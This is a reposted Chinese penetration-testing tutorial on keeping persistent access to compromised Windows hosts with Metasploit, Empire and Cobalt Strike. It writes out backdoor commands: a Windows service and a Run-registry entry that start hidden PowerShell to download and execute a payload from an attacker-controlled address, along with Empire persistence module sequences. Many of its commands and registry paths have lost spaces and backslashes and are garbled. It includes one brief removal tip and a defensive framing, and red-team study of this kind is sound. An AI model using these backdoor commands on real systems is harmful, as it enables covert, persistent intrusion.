在渗透测试中,有三个非常经典的渗透测试框架--Metasploit、Empire、Cobalt Strike。那么,通过漏洞获取到目标主机权限后,如何利用渗透框架获得持久性权限呢?
MSF权限维持
使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:
Persistence模块 通过启动项启动(persistence)的方式,在目标机器上以反弹回连。 -U:设置后门在用户登录后自启动。该方式会在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。推荐使用该参数; -X:设置后门在系统启动后自启动。该方式会在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限)
-U:设置后门在用户登录后自启动。该方式会在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。推荐使用该参数; -X:设置后门在系统启动后自启动。该方式会在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。 -S:作为服务自动启动代理程序(具有SYSTEM权限)
生成的相关文件位置 : #后门文件位置: C:WindowsTempC:UsersAdministratorAppDataLocalTemp# 注册表位置: HKCUSoftwareMicrosoftWindowsCurrentVersionRunHKLMSoftwareMicrosoftWindowsCurrentVersionRun
Metsvc 模块 通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。
目标主机上开启了一个Meterpreter服务。
Empire 权限维持
Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即
elevated(管理权限)misc(杂项)powerbreach(内存维持)userland(用户权限)registry*add_netuserdeadserbackdoor_lnkschtasks*add_sid_history*eventlog*registrywmi*debugger*resolverschtaskswmi_updater*disable_machine_acct_change*
注册表 (Empire:agents)>agents(Empire:agents)>interactURL3FZBV(Empire:URL3FZBV)>usemodulepersistence/elevated/registry*(Empire:powershell/persistence/elevated/registry)>setListenertest(Empire:powershell/persistence/elevated/registry)>execute
因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:
计划任务 (Empire:agents)>interact9NZ2RWBC(Empire:9NZ2RWBC)>usemodulepersistence/elevated/schtasks*(Empire:powershell/persistence/elevated/schtasks)>setListenertest(Empire:powershell/persistence/elevated/schtasks)>setDailyTime22:50(Empire:powershell/persistence/elevated/schtasks)>execute
在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell
wmi (Empire:agents)>interact9NZ2RWBC(Empire:9NZ2RWBC)>usemodulepersistence/elevated/wmi(Empire:powershell/persistence/elevated/wmi)>setListenertest(Empire:powershell/persistence/elevated/wmi)>run
如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。
Cobalt Strike权限维持
通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。
从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。 根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。 点击Launch后,返回powershell远程下载执行命令。
服务自启动后门 sccreate"Name"binpath="cmd/cstartpowershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring('http://192.168.28.142:8080/a'))""scdescriptionName"JustForTest"//设置服务的描述字符串scconfigNamestart=auto//设置这个服务为自动启动netstartName//启动服务
重启服务器后,成功返回一个shell。
注册表自启动
在windows启动项注册表里面添加一个木马程序路径,如: beacon>getsystembeacon>shellregaddHKLMSOFTWAREMicrosoftWindowsCurrentVersionRun/v"Keyname"/tREG_SZ/d"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring('http://192.168.28.142:8080/a'))""/f
账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。
注册表还有哪些键值可以设置为自启动: HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon
结束语
本文简单介绍了通过三大渗透框架进行权限维持的几种方法 了解攻击者常用的渗透框架及后门技术,有助于更好地去发现并解决服务器安全问题。
作者:Bypass007 转载自:https://www.secpulse.com/archives/113790.html
|